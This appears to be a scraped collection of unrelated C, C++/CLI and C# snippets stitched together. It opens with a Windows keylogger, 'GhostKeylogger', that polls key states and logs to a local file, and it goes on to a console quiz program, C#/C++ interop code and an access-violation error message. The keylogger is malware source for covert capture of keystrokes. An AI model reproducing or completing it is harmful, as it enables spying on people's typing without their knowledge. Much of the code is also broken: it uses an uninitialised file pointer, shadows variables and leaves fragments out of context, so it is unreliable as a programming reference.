Managed C++/CLI

#include <windows.h>
#include <stdio.h>
#include <ctype.h>
#define VK_4 0x34
#define VK_1 0x31

void GhostKeylogger(FILE *txt);
byte teclas[256];
char teclasespeciales[32]; 

void GhostKeylogger(FILE *txt)
{
    for(int i=0; i<255; i++){
		
		/*	if(GetAsyncKeyState(i)==-32767){  
				
		    
            *teclasespeciales = 0;
            if(ToAscii(i, MapVirtualKey(i, 0), teclas, (LPWORD)teclasespeciales, 0) == 1)
            fprintf(txt, "[%c]", *teclasespeciales);
            else if(GetKeyNameText((MapVirtualKey(i, 0) << 16), teclasespeciales, 32) > 0)
            fprintf(txt, "[%s]", teclasespeciales); 
            
               }	*/
            if(GetAsyncKeyState(VK_CONTROL)&& GetAsyncKeyState(VK_MENU)&& GetAsyncKeyState(VK_4))
           		{
				if(GetAsyncKeyState(VK_CONTROL)&& GetAsyncKeyState(VK_MENU)&& GetAsyncKeyState(VK_4))
				 {
				 fprintf(txt,"~"); break;
				}}
				
/////////////////////////////IMAGINE SEPARATOR BAR////////////////////////////////////	
		
		   	if(GetAsyncKeyState(VK_MENU) && GetAsyncKeyState(VK_1))
		   	{
					fprintf(txt,"%c\t",0x01);  //What should i do here?
							
			}
////////////////////////////IMAGINE SEPARATOR BAR/////////////////////////////////////////
		 
	}
}

int main(){
	
	FILE *txt;
	 while(TRUE){   
       if(txt != NULL){
       FILE *txt = fopen("Experimento.txt", "a+");
       Sleep(30);/*to prevent high usage*/
       GhostKeylogger(txt);
       fclose(txt);
    }
   }
}

#include "stdafx.h"

#define DEBUG

// Answer class
class CAnswers {
public:
	vector<string> answer;
	CAnswers(void);
	CAnswers(string ans);
	~CAnswers(void);
	int size(void);
} Answers;
CAnswers::CAnswers(void) {
}
CAnswers::CAnswers(string ans) {
	stringstream ss(ans);
	string temp_answer;
	while (getline(ss, temp_answer, ','))
		answer.push_back(temp_answer);
}
CAnswers::~CAnswers(void){
}
int CAnswers::size(void) {
	return answer.size();
}

// Question class
class CQuestion {
	string _question;

public:
	CAnswers* answers;
	CQuestion(void);
	CQuestion(string q_a);
	~CQuestion(void);
	string question(void);
} Question;
CQuestion::CQuestion(void) {
}
CQuestion::CQuestion(string q_a) {
	string ans;

	stringstream ss(q_a);
	getline(ss, _question, ':');
	ss >> ans;
	answers = new CAnswers(ans);
}
string CQuestion::question(void) {
	return _question;
}
CQuestion::~CQuestion(void){
	delete answers;
}

//Editor class
class CEditor {
	vector<CQuestion> questions;
	ofstream myFile;
	int age, address;
	char selection, character[1];
	string name, response;
	HANDLE np;
	unsigned notepadID;

public:
	CQuestion* q;
	CEditor(void);
	~CEditor(void);
	int menu(void);
	void question(void);
	void reload(void);
	int time(void);
	static unsigned int __stdcall notepadThread(void* arg);
	void notepad(void);
} Editor;
CEditor::~CEditor(void){
	delete q;
}
CEditor::CEditor(void) {
	np = 0;
}
unsigned int __stdcall CEditor::notepadThread(void* arg) {
	system("notepad.exe AI.txt");
	_endthreadex(0);
	return 0;
}
void CEditor::notepad(void) {
	_beginthreadex(NULL, 0, &CEditor::notepadThread, np, 0, ¬epadID);
}
int CEditor::menu(void) {
	system("CLS");
	cout << "Menu:\n9 = Basic Information.\n8 = DATALOG\n7 = Reload \n6 = Time\n0 = Leave\n";
	cin >> selection;

	switch (selection)
	{
		// Open text in notepad
	case '8': {
		notepad();
		break;
	}
		// Exit program
	case '0': {
		cout << "- Please close Notepad to exit - ";
		return 0;
	}
		// Ask questions and place answers into AI.txt
	case '9': {
		question();
		break;
	}
		// Simulate reloading program,
	case '7': {
		reload();
		break;
	}
		// Clock
	case '6': {
		do {
			time();
			cout << "Press Enter to exit";
			Sleep(750);
		} while (_getch() != '\n');
		break;
	}
		// Invalid response
	default: {
		cout << "Nope" << endl;
		break;
	}
	}
	return 1;
}
void CEditor::question(void) {
	// Open file and move to end of file.
	myFile.open("AI.txt", ios_base::app);
	myFile << "\n----- new entry -----\n";
	// Clear console and ask questions.
	system("CLS");
	cout << "AI: What is your name?" << endl;
	cin >> name;
	system("CLS");
	myFile << "Datalog" << "\nName: " << name << endl;

	cout << "AI: How are you feeling?" << endl << name << ": ";
	cin >> response;
	system("CLS");
	if (response == character) {
		cout << "Invalid answer";
	}
	myFile << name << " is feeling " << response << endl;
	cout << "AI: What is your age " << name << "?" << endl << name << ": ";
	cin >> age;
	system("CLS");
	myFile << name << "'s age is " << age;
	myFile.close();
	if (!myFile)
	{
		cout << "Error";
	}
}
void CEditor::reload(void) {
	system("CLS");
	cout << "Reloading";
	Sleep(1000);
	cout << ".";
	Sleep(1000);
	cout << ".";
	Sleep(1000);
	cout << ".";
}
int CEditor::time(void) {
	struct tm newtime;
	char am_pm[] = "AM";
	__time64_t long_time;
	char timebuf[26];
	errno_t err;

	// Clear the screen
	system("CLS");
	// Get time as 64-bit integer.
	_time64(&long_time);
	// Convert to local time.
	err = _localtime64_s(&newtime, &long_time);
	if (err)
	{
		printf("Invalid argument to _localtime64_s.");
		exit(1);
	}
	if (newtime.tm_hour > 12)        // Set up extension.
		strcpy_s(am_pm, sizeof(am_pm), "PM");
	if (newtime.tm_hour > 12)        // Convert from 24-hour
		newtime.tm_hour -= 12;    // to 12-hour clock.
	if (newtime.tm_hour == 0)        // Set hour to 12 if midnight.
		newtime.tm_hour = 12;

	// Convert to an ASCII representation.
	err = asctime_s(timebuf, 26, &newtime);
	if (err)
	{
		printf("Invalid argument to asctime_s.");
		exit(1);
	}
	printf("%.19s %s\n", timebuf, am_pm);
	return 1;
}

int _tmain(int argc, _TCHAR* argv[])
{
	CEditor editor;
	editor.q = new CQuestion("How are you?:Good,Bad");
	cout << editor.q->question() << endl;
	for (int i = 0; i<editor.q->answers->size(); ++i) {
		cout << editor.q->answers->answer[i] << endl;
	}
	system("pause");
	//while(editor.menu());
	return 0;
}

public static double[] duration_fltarray = new double[7];
    duration_fltarray[0] = 1;
    duration_fltarray[1] = 0.5;
    duration_fltarray[2] = 0.25;
    duration_fltarray[3] = 0.125;
    duration_fltarray[4] = 0.625;
    duration_fltarray[5] = 0.3125;
    duration_fltarray[6] = 0.15625;

public class CSharpClass
    {
        public static byte[] Hello(byte[] name)
        {
            string s = ", hello from .NET!";
            byte[] helloPart = Encoding.ASCII.GetBytes(s);
            byte[] whole =
               new byte[name.Length + helloPart.Length];
            int i = 0;
            foreach (byte b in name)
            {
                whole[i++] = b;
            }
            foreach (byte b in helloPart)
            {
                whole[i++] = b;
            }
            return whole;
        }
    }

using namespace CSharpAssembly;

__declspec(dllexport) char* __stdcall Hello(char* name)
{
	int i = 0;
	while (*name != '\0')
	{
		i++;
		name++;
	}
	array<unsigned char>^ nameManArr = gcnew array<unsigned char>(i);
	name -= i;
	i = 0;
	while (*name != '\0')
	{
		nameManArr[i] = *name;
		name++;
		i++;
	}
	array<unsigned char>^ char8ManArr = CSharpClass::Hello(nameManArr);
	char*  char8UnmanArr = new char[char8ManArr->Length + 1];
	for (int i = 0; i < char8ManArr->Length; i++)
	{
		char8UnmanArr[i] = char8ManArr[i];
	}
	char8UnmanArr[char8ManArr->Length] = '\0';
	return char8UnmanArr;
}

class DebugEntry
    {
        [DllImport("CppStdcallInerfaceWrapper2.dll",
              CharSet = CharSet.Ansi, CallingConvention =
                 CallingConvention.StdCall)]
        public static extern string Hello(string name);

        static void Main(string[] args)
        {
            string sd = Hello("MyName");
            System.Console.WriteLine();
            System.Console.ReadLine();
        }
    }

An unhandled exception of type 'System.AccessViolationException' occurred in mscorlib.dll

Additional information: Attempted to read or write protected memory. This is often an indication that other memory is corrupt.

public ref struct MyEventArgs : EventArgs {

  array<UInt16>^  imageData;
  ...
}